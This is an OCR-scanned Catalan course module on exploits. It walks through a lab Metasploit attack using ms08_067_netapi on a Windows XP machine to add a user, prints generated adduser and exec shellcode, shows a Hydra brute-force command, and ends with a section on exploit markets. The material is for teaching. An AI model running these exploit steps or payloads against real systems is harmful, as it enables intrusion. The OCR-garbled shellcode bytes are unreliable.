Metasploit i Kali Linux.

6.3.1. Metasploit

Metasploit és un projecte open source de seguretat informatica que incorpora
un entorn per a la creaci6 i execuci6 d’exploits, a la vegada proporciona infor-
maci6 sobre vulnerabilitats de seguretat i també incorpora programari per a
realitzar proves de penetracio.

Metasploit té disponibles diverses eines de test de penetracio, tot i aixi, totes

elles estan basades en el Metasploit Framework® que proporciona una consola
de comandes i una interficie d'usuari en entorn web. Aquest entorn té com
a nucli el MSF Core, que és el responsable d'implementar totes les interficies

necessaries que permeten interactuar amb els exploits, sessions i plugins.

A continuaci6 es mostra un exemple utilitzant la consola de Metasploit i que
creara un usuari en una maquina remota aprofitant una vulnerabilitat del
Windows XP.

La simulaci6 d’ordinador remot s’ha realitzat en un entorn de virtualitzacié
Oracle VM VirutalBox. Els parametres s’han deixat els que vénen per defecte,
excepte el de 'apartat de Xarxa, on el parametre de “Connectat a:” s’ha canviat
pel valor de: “Adaptador pont”.

Com a ordinador local s’ha utilitzat un entorn Windows 8.1 sense virtualit-

zacio.

La maquina remota, en aquest exemple, es tracta d'un ordinador amb Win-
dows XP amb el Service Pack 3 instal-lat, perd sense instal-lar més actualitzaci-
ons de les que incorpora aquest service pack i amb 'opci6 Firewall desactivada.

Aquest exemple d’exploits és el “windows/smb/s08-067_netapi”, que es diri-
geix a una vulnerabilitat dels serveis de Windows que pot permetre l'execucio
remota de codi i, per exemple, aconseguir de forma remota el control del siste-

ma o crear un usuari de forma remota tal i com es mostra en l’exemple segiient.

Per a obrir la consola de Metasploit, cal executar el fitxer console.bat, que es
troba en la carpeta on s’instal-la el programari de Metasploit.

(4)Metasploit Framework: http://
www.rapid7.com/products/metas-
ploit/download.jsp.



http://www.rapid7.com/products/metasploit/download.jsp
http://www.rapid7.com/products/metasploit/download.jsp
http://www.rapid7.com/products/metasploit/download.jsp
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C:\metasploit>console_

La consola de Metasploit proporciona accés a la linia d'ordres per al Metasploit
Framework. Es tracta d’'una eina que permet desenvolupar i executar exploits

contra una maquina remota.

@ Metasploit Pro Console - E3

File Edit View Help

Una de les possibilitats de la consola és la cerca d’exploits aplicant filtres. En
aquest exemple es cerquen exploits sobre netapi.

msf > search netapi

Matching Modules

Name Disclosure Date Rank Description
auxiliary/scanner/smb/ms08_067_check normal MS08-067
Scanner

exploit/windows/smb/ms03_049 netapi 2003-11-11 00:00:00 UTC good Microsoft
Workstation Service NetAddAlternateComputerName Overflow

exploit/windows/smb/ms06_040_netapi 2006-08-08 00:00:00 UTC good Microsoft
Server Service NetpwPathCanonicalize Overflow

exploit/windows/smb/ms06_070_wkssvc 2006-11-14 00:00:00 UTC manual Microsoft
Workstation Service NetpManageIPCConnect Overflow

exploit/windows/smb/ms08_067_netapi  2008-10-28 00:00:00 UTC great Microsoft
Server Service Relative Path Stack

En aquest exemple s’aplica a lexploit “exploit/windows/smb/
ms08_067_netapi”.

msf > use exploit/windows/smb/ms08_067_netapi

msf exploit (ms08_067_netapi) >

En aquest punt es poden observar les opcions que proporciona ’exploit.
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msf exploit (ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08 067 netapi) :

Name Current Setting Required Description
RHOST yes The target address
RPORT 445 yes Set the SMB service port

Cal fixar-se que el parametre RHOST no té valor. En aquest punt cal saber el
valor de I'IP de la maquina remota, com es pot observar en aquest cas, I'IP és
192.168.1.19.

Papelera de

reciclaje e C:\WINDOWS\system32\cmd.exe

i soft Windows XP [U n 5.1.26001]
(F) Copyright 1985-2001 M osoft Corp.

\Documents and Settings\PC_User>ipcongig
ongig"” no se reconoce como un comando interno o externo.
programa o archivo por lotes ejecutabhle.
IC:\Docune and Settings\PC_User>ipconfig

Configuracidén IP de Windows

fdaptador Ethernet Conexidn de Area local

Sufijo de conexidn especifica DNS : home
Direccidén IP. . “ e e e o= o= o« = = 192.168.1.19
Miscara de subred . - . =25 »5.255.0
Puerta de enlace

C:\Documents and Settings\PC_User>

e CAWINDOWS\syste. ..

A continuacié observarem els usuaris d’aquest ordinador, com es pot veure,
els usuaris sén “PC_User”, “Administrador” i altres comptes creats per defecte
pel propi Windows XP.
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LI Administracidn de equipos
g Archivo  Accion Ver Ventana Ayuda
e = R 2E

(=) Administracién del equipo (local) A || Nombre Nombre completo Descripeién
= ﬂ Ije"amientas del sistema mpc User PC User

(g Visor de sucesos Binvitado Cuenta para acceso como invitado al,

- 5 Carpetas compartidas mAdrninistrador Cuenta para la administracion del eq. FS=

= Usuarios locales y grupo:
= youe mAsistente de ... Cuentade asistente de A.., Cuenta para proporcionar asistencia, |

3 Usuarios '
g Grupos QSUPPORTJS, .. CN=Microsoft Corporation... Esta es una cuenta de proveedor de.

+ Registros y alertas de re
g Administrador de disposil
= & Almacenamiento
i+ Q Medios de almacenamien v
< >

-TI; Inicio O administracién de eq. ..

Ara, en la maquina local, on s’esta executant la consola de Metasploit, es
pot indicar el valor de RHOST, és a dir, I'IP de 'ordinador remot, que és
192.168.1.19, posteriorment es pot comprovar el valor del RHOST.

msf exploit (ms08_067_netapi) > set rhost 192.168.1.19
rhost => 192.168.1.19

msf exploit (ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067 netapi) :

Name Current Setting Required Description

RHOST 192.168.1.19 yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Exploit target:

Mostrar la llista de payloads disponibles.
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Compatible Payloads

msf exploit (ms08_067_netapi) > show payloads advanced

Name Rank Description

generic/custom normal Custom Payload

generic/debug_trap normal Generic x86 Debug Trap
generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline
generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline

En aquest exemple s’utilitzara el payload “windows/adduser”, el qual creara un

usuari en la maquina remota.

payload => windows/adduser

Payload options (windows/adduser):

Name Current Setting Required
CUSTOM no
EXITFUNC thread yes
PASS Metasploit$l yes

msf exploit (ms08_067_netapi) > set payload windows/adduser

msf exploit (ms08_067_netapi) > show options

Description
Custom group name to be used instead of default
Exit technique (accepted:seh,thread, process,none)

The password for this user

Es pot observar que alguns dels parametres d’aquest payload son user i pass.

A continuaci6 s’assignen els valors a aquests parametres:

user => PC_Hacked

pass => 123!Hack

Payload options (windows/adduser):

Name Current Setting Required
CUSTOM no
EXITFUNC thread yes
PASS 123!Hack yes

msf exploit (ms08_067_netapi) > set user PC_Hacked

msf exploit (ms08_067_netapi) > set pass 123!'Hack

msf exploit (ms08_067_netapi) > show options

Description
Custom group name to be used instead of default
Exit technique (accepted:seh, thread, process,none)

The password for this user

El seglient pas és executar 'exploit, el qual creara un usuari en la maquina

remota amb el nom d’usuari “PC_Hacked” i la contrasenya “123!Hack”.
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msf exploit (ms08_067_netapi) > exploit

[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:Spanish
[*] Selected Target: Windows XP SP3 Spanish (NX)

[*] Attempting to trigger the vulnerability...

En la pantalla segiient es pot comprovar que s’ha creat un usuari en la maquina
remota.

O Administracién de equipos
Q Archivo  Accidn  Ver Ventana Ayuda
& - H BB @E

g Administracion del equipo (local) & || Nombre Nombre completo Descripcién
=] E Herramientas del sistema mpc Hacked
- {f] Visor de sucesos mPC_User PC User
j 5 E:LZT;J‘Z;:;;):"M:; o Blnvitadc Cuenta para acceso como invitado al,|
& a0 ¥ grupo: g&dmmlstrador Cuenta para la administracién del eq.
HAsistente de ... Cuentade asistente de 4... Cuenta para proporcionar asistencia.

D Grupos .
) g Registros y alertas de re ESUPPORT_SB.., CN=Microsoft Corporation... Esta es una cuenta de proveedor de.

Administrador de disposil
= &g Almacenamiento
i+ @ Medios de almacenamien s
< >

72 Inicio O Administra Es Q x 21:11

6.3.2. Meterpreter

El Meterpreter és un payload en concret que permet realitzar una série d’accions
en el sistema atacat. Es tracta d'una biblioteca d'enllacos dinamics (.dll) espe-
cialment creada per a I'automatitzacio6 d’scripts, que s'injecta en la memoria del
sistema vulnerat. Per exemple, permet carregar i descarregar arxius des del sis-
tema atacat, realitzar captures de pantalla, recollir els hashes de contrasenyes,
prendre el control de la pantalla, el ratoli i el teclat per controlar completa-
ment l'equip i fins i tot activar la camera web d'un ordinador portatil.

6.3.3. Generacio de payloads

Tot i que en I’exemple anterior no ha estat necessari, la consola també permet
generar el codi del payload i aixi poder observar el codi que I'exploit ha injectat.
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Per a generar el payload, en primer lloc s’ha d’escollir el payload que es vol ge-
nerar “use payload/windows/adduser”, assignar valors als parametres del
payload i posteriorment, generar el payload a través de la instrucci6 “generate”.

msf > use payload/windows/adduser

msf payload(adduser) > set user PC_Hacked

user => PC_Hacked

msf payload(adduser) > set pass 123!Hack

pass => 123!Hack

msf payload(adduser) > generate

# windows/adduser - 283 bytes

# http://www.metasploit.com

# VERBOSE=false, PrependMigrate=false, EXITFUNC=process,

# USER=PC_Hacked, PASS=123!Hack, CUSTOM=, WMIC=false,

# COMPLEXITY=true

buf =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xcl\xcf\x0d" +
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" +
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" +
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" +
"\x31\xcO0\xac\xcl\xcf\x0d\x01\xc7\x38\xe0\x75\x£4\x03\x7d" +
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" +
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" +
"\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68" +
"\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95" +
"\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +
"\x47\x13\x72\x6£\x6a\x00\x53\xff\xd5\x63\x6d\x64\x2e\x65" +
"\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72" +
"\x20\x50\x43\x5f\x48\x61\x63\x6b\x65\x64\x20\x31\x32\x33" +
"\x21\x48\x61\x63\x6b\x20\x2f\x41\x44\x44\x20\x26\x26\x20" +
"\x6e\x65\x74\x20\x6c\x6£\x63\x61\x6c\x67\x72\x6£\x75\x70" +
"\x20\x41\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6£\x72" +
"\x73\x20\x50\x43\x5£\x48\x61\x63\x6b\x65\x64\x20\x2f\x41" +

"\x44\x44\x00"

6.3.4. Msfgui.exe: Interficie grafica

El programa msfgui.exe’ és un programa que ofereix una interficie grafica, que
permet realitzar les tasques que es poden fer amb la consola de Metasploit

Framework d'una forma més agil.

En aquest exemple es mostra com cercar l'exploit ms03_026_dcom.

©Msfgui: https://
www.scriptjunkie.us/msfgui/.



https://www.scriptjunkie.us/msfgui/
https://www.scriptjunkie.us/msfgui/
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™ msfgui - o IEl
File View | Exploits| Auxiliary Payloads History Post-Exploit Console Database Plugins Help
Jobs | Sess aix ¥ || Services | Vulns | Notes | Loots | Creds | Events | console 0
android *
apple_ios *
bsdi 4
dialup 4
firefox *
freebsd *
hpux 4
irix 4
linux 4
multi 4
netware *
o0sx »
pro 4
solaris 4
unix 4
windows ! antivirus 4
arkeia 4
backdoor 4
backupexec *
brightstor  *»
browser 4
dcerpc ) ms03_026_dcom
driver ) ms05_017_msmgq
email | ms07_029_msdns_zonename
emc ) ms07_065_msmq
fileformat *

Un cop se selecciona 1'exploit, es mostra una finestra amb la informaci6 de
I'exploit, els identificadors de l'exploit en diverses bases de dades publiques
d’exploits, el programari que pot atacar, i una llista dels payloads que hi pot
aplicar. Un cop escollit el programari de desti al qual es vol atacar i el paylo-
ad, es mostren els parametres del payload. En aquest exemple, s’ha escollit el
payload exec.



CC-BY-NC-ND * PID_00217345 29

Exploits

] Microsoft RPC DCOM Interface Overflow windows/dcerpc/ms03_026_dcom = ©

Microsoft RPC DCOM Interface Overflow

Rank: Great

Description This module exploits a stack buffer overflow in the RPCSS service, this vulnerability was originally
found by the Last Stage of Delirilum research group and has been widely exploited ever since. This module can
exploit the English versions of Windows NT 4.0 SP3-6a, Windows 2000, Windows XP, and Windows 2003 all in
one request 3)

References:

CVE: 2003-0352

OSVDB: 2100

MSB: MS03-026

BID: 8205

Authors: hdm , spoonm , cazz
License: Metasploit Framework License (BSD)
Version: null

Targets

(® Windows NT SP3-6a/2000/XP/2003 Universal

). windows

. vndnject

upexec
speak_pwned
shell_reverse_tcp
shell_bind_tcp_xpfw
shell_bind_tcp

shell
patchupmeterpreter
patchupdiinject
metsvc_reverse_tcp
metsve_bind_tcp
meterpreter
messagebox

B85
S e e e e

%

L Jexec
@ download_exec
# dns_txt_query_exec

Required
CMD The command string to execute
RPORT The target port

135
RHOST The target address

EXITFUNC Exit technique (accepted: seh, thread, process, none)
process
Run exploit H Run in Console

A

A la barra de ment hi ha I’opcié d’escollir un payload que un cop escollit s’hi

pot generar el codi corresponent.
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] Windows Execute Command windows/exec - 0O n

Windows Execute Command
Rank: Normal

Description Execute an arbitrary command
Authors: viad902 , sf

License: Metasploit Framework License (BSD)

Version: null

CMD The command string to execute CALC
PrependMigrate Spawns and runs shellcode in new process O
VERBOSE Enable detailed status messages O
WORKSPACE Specify the workspace for this module default

PrependMigrateProc Process to spawn and run shellcode in
EXITFUNC Exit technique (accepted: seh, thread, process, none) |process v

®) display () encode/save Start handler Start handler in console

Payload windows/exec {CMD=CALC, Encoder=generic/none} 196 bytes.

ruby
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31"+
"\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52"+
"\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xf£"+
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1"+
"\xcf\x0d\x01\xc7\xe2\x£0\x52\x57\x8b\x52"+
"\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"+
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b"+
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b"+
"\x01\xd6\x31\ x££\ x31\xc0\xac\xcl\xcf\x0d"+
"\x01\xc7\x38\xe0\x75\x£4\x03\x7d\x£8\x3b"+
"\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3"+
"\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"+
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b"+
"\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"+
"\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00"+
"\x00\x00\x50\x68\x31\x8b\x6£\x87\ x££\ xd5"+
"\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d"+
"\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"+
"\x05\xbb\x47\x13\x72\x6£\x62\x00\x53\xff"+
"\xd5\x43\x41\x4c\x43\x00"

6.3.5. Kali Linux

Kali Linux és una reconstruccié de BackTrack Linux i és una distribuci6é de
Linux que s'adhereix completament als estandards de desenvolupament de
Debian. Esta totalment orientat per a la realitzaci6 de proves de penetraci6 i
auditories de seguretat.

Es tracta d'un conjunt d’eines per a fer avaluacions, per a tasques de la infor-
matica forense i per a fer proves de penetracié: recopilacié d’informacid, iden-
tificaci6 de vulnerabilitats, I’explotaci6 i I'escalada de privilegis, etc.

A continuacié es mostren algunes de les opcions de menu de les utilitats dis-
ponibles en aquesta eina:
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Applications Places f B3 Wed Apr23, 6:03 PM
i Accessories Click to view your appointments and tasks
#0 Etectronics
B Graphics
@ Hamradio
Q/ Internet

Office >
bl offic Q Information Gathering

f Prog N b4
rogramming QU Vulnerability Analysis
So & Video > m
B sound & vide ot Web Applications

em Tools >
tem Tool o« Password Attacks

@ Universal Access >

&3 Other

g’ Wireless Attacks
Exploitation Tools BeEF XSS Framework
> %# Cisco Attacks

Maintaining Access > %# Exploit Database

&
€= Reverse Engineering > % Exploit Development T

ess Testing > & Metasploit
K1 Hardware Hacking > ## Network Exploitation

V% Forensics > %& Social Engineering Toolkit

Reporting Tools

T system Services

Applications Places Wed Apr 23, 6:05PM
i Accessories Click to view your appointments and tasks
#0 Etectronics
B Graphics
@ Hamradio
Q/ Internet

Office >
bl offic Q Information Gathering

f Prog N b4
rogramming U Vulnerability Analysis \\ darkstat
darksta
B9 sound & Video > ®
g Soun e Web Applications N, dnschef
nsche!
System Tools >
em foe " Password Attacks N ¢ .
dnsspoo
@ Universal Access >

g’ Wireless Attacks

S

N dsniff

% Exploitation Tools \ ettercap-graphical
Sniffing/Spoofing \

hexinject
N

"\, mailsnarf
> \ msgsnarf
’ \ netsniff-ng

'\, passive_discoverys
" responder

N\ sstsniff
'\ tepflow
'\ urlsnarf
'\, webmitm
'\, webspy
'\, wireshark

&5 Other >

Maintaining Access

€= Reverse Engineering >

% Stress Testing >

L Hardware Hacking >

Forensics

Reporting Tools

System Services
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Applications  Places @ (2] Wed Apr 23, 5:53 PM
B Accessories

#0 Etectronics

B Graphics

@8 Hamradio

w Internet

Off
el office ? Q Information Gathering

{ Programming >
’ ' U Vulnerability Analysis
B sound & video

~
\ acccheck

P B
Web A % e
oty V pplicat: \ burpsuit

Password Att. / GPU Tools > -\\
cewl

& Wireless Attack > / Offline Attacks

¥4 Exploitation Tools

ke
b

System Tools

@ Universal Access

&5 Other >

cisco-auditing-to

Online Attacks \ dbpwaudit

Sniffing/Spoof > P H >
Sniffing/Spoofing /’ assing the Hash \imdm,ham

\h,dm

Maintaining Access

"
&

€= Reverse Engineering N
- - hydra-gtk
Stress Testing N feimp
K Hardware Hacking >

N, medusa
W ncrack
R

% Forensics

Reporting Tools

T system Services

N

\ patator
N

\ phrasendrescher
N

\ thc-pptp-bruter
N

" webscarab

6.3.6. Kali Linux / Password Attacks / Online Attacks / hydra-
gtk

Hydra és una eina de desxifrat de contrasenyes que es pot utilitzar en molts
serveis fent Gs del metode “forca bruta” per a esbrinar la contrasenya d'inici
de sessi6 a partir d'una llista de paraules.
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shydra ——

Quit

Target

@ Single Target 127.0.0.1 ]

O Target List [ l

[J Prefer IPV6

Port o |
Protocol [afp M

(Output Options

D)

[J Use SSL [J Be Verbose

[] Show Attempts [] Debug

hydra -l yourname -p yourpass -t 16 127.0.0.1 afp
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7. El mercat dels exploits

7.1. Mercat negre d’exploits

The New York Times (2013). “Nations Buying as Hackers Sell Flaws in Computer Code”.

Els hackers Luigi Auriemma i Donato Ferrante varen vendre detalls técnics sobre vul-
nerabilitats als paisos que volien entrar en els sistemes informatics d'adversaris es-
trangers.

How spies, hackers, and the government bolster a booming software exploit market

L'expert en seguretat amb seu a Bangkok anomenat "el grugq" suposadament va ven-
dre un exploit de “dia-zero” (zero-day) del sistema operatiu iOS per 250.000 dolars com
a intermediari, el grugq va guanyar 37.500 dolars en concepte de comissio.

El 2011, WikiLeaks va revelar que I'empresa de seguretat Endgame Systems va vendre
paquets de 25 exploits de dia zero per als clients, principalment contractistes del Go-
vern america, per un valor de 2,5 milions de dolars l'any.

Hackers Selling Vista Zero-Day Exploit

L'any 2006, analistes de la companyia Trend-Micro es van infiltrar al mén underground
de les xarxes hackerivan detectar la venda d'un exploit per a Windows Vista per 50.000
dolars.

Enllacos recomanats

Computer Code: http://www.nytimes.com/2013/07/14/world/europe/nations-buying-
as-hackers-sell-computer-flaws.html?_r=0

How spies, hackers, and the government bolster a booming software ex-
ploit market: http://www.fastcompany.com/3009156/the-code-war/how-spies-hackers-
and-the-government-bolster-a-booming-software-exploit-market

Exploit

Hackers Selling Vista Zero-Day Exploit: http://www.eweek.com/c/a/Security/Hackers-
Selling-Vista-ZeroDay-Exploit/

Hacker Offers to Sell Vista Zero-Day Exploit: http://news.techworld.com/secu-
rity/7633/hacker-offers-to-sell-vista-zero-day-exploit/
S’ha de tenir en compte que, actualment, la importancia de I'habilitat i la

sofisticacié de l'atacant ha disminuit.

Hi ha empreses que ofereixen accés a eines de generacié de codi d'explotacio
de vulnerabilitats conegudes; també n'hi ha que ofereixen eines d'analisi de
vulnerabilitats basades en desassemblatge, enginyeria inversa, analisi de pro-
tocols i auditoria de codi (ExploitHub, Secunia, Vupen, ...); a més a més hi ha
disponibles frameworksopen source i comercials per a l'explotaci6 i cerca de vul-
nerabilitats, proves de penetracio i realitzacié d'auditories de seguretat (Can-
vas, Corelmpact, Exploit, kaly Linux ).

Lectura recomanada

The Rise of Vulnerabi-

lity Markets - History,

Impacts, Mitigations:
https://www.owasp.org/
images/b/b7/
OWASP_BeNeLux_Day_2011_-
_T. Zoller_-_ Rise_of the_
Vulnerability Market.pdf



http://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html?_r=0
http://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html?_r=0
http://www.fastcompany.com/3009156/the-code-war/how-spies-hackers-and-the-government-bolster-a-booming-software-exploit-market
http://www.fastcompany.com/3009156/the-code-war/how-spies-hackers-and-the-government-bolster-a-booming-software-exploit-market
http://www.eweek.com/c/a/Security/Hackers-Selling-Vista-ZeroDay-Exploit/
http://www.eweek.com/c/a/Security/Hackers-Selling-Vista-ZeroDay-Exploit/
http://news.techworld.com/security/7633/hacker-offers-to-sell-vista-zero-day-exploit/
http://news.techworld.com/security/7633/hacker-offers-to-sell-vista-zero-day-exploit/
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En un sentit positiu, tots aquests entorns, eines i utilitats estan destinats a
l'auditoria i comprovaci6 del nivell de seguretat en una organitzacid, xarxa,
programari i sistemes operatius; €s a dir, al sistema general en funcionament,
per tant, en produccié, aixi com en eines de test per a programari i sistemes
en desenvolupament. Perd s’ha de tenir em compte que aquestes eines poden
ser utilitzades en una doble vesant, és a dir, també poden ser utilitzades pels
hackers amb la finalitat d’aprofitar les vulnerabilitats per a atacar els sistemes
de les tecnologies de la informaci6 i comunicacié amb finalitats malicioses.

D’altra banda existeixen forums i amplia informaci6 disponible per a pren-
dre les mesures de seguretat adequades, pero s’ha de tenir en compte que els
hackers també disposen de forums i amplia informacié de com realitzar els
atacs als sistemes, fins i tot es poden trobar en el Youtube videos de com rea-
litzar atacs, pas a pas, utilitzant eines disponibles a 1’abast de tothom.

Tot plegat indica que intentar trobar vulnerabilitats en els sistemes es una
activitat lucrativa, i que ninga esta exclos de ser atacat, fins i tot un usuari
d’Internet, suposadament sense un gran interes per a ser atacat, esta exposat
a ser atacat amb la finalitat d’intentar obtenir els seus nameros de Visa, cooki-
es, contrasenyes i qualsevol tipus d’informaci6 util per a intentar obtenir un

benefici en major o menor mesura des del punt de vista del hacker.
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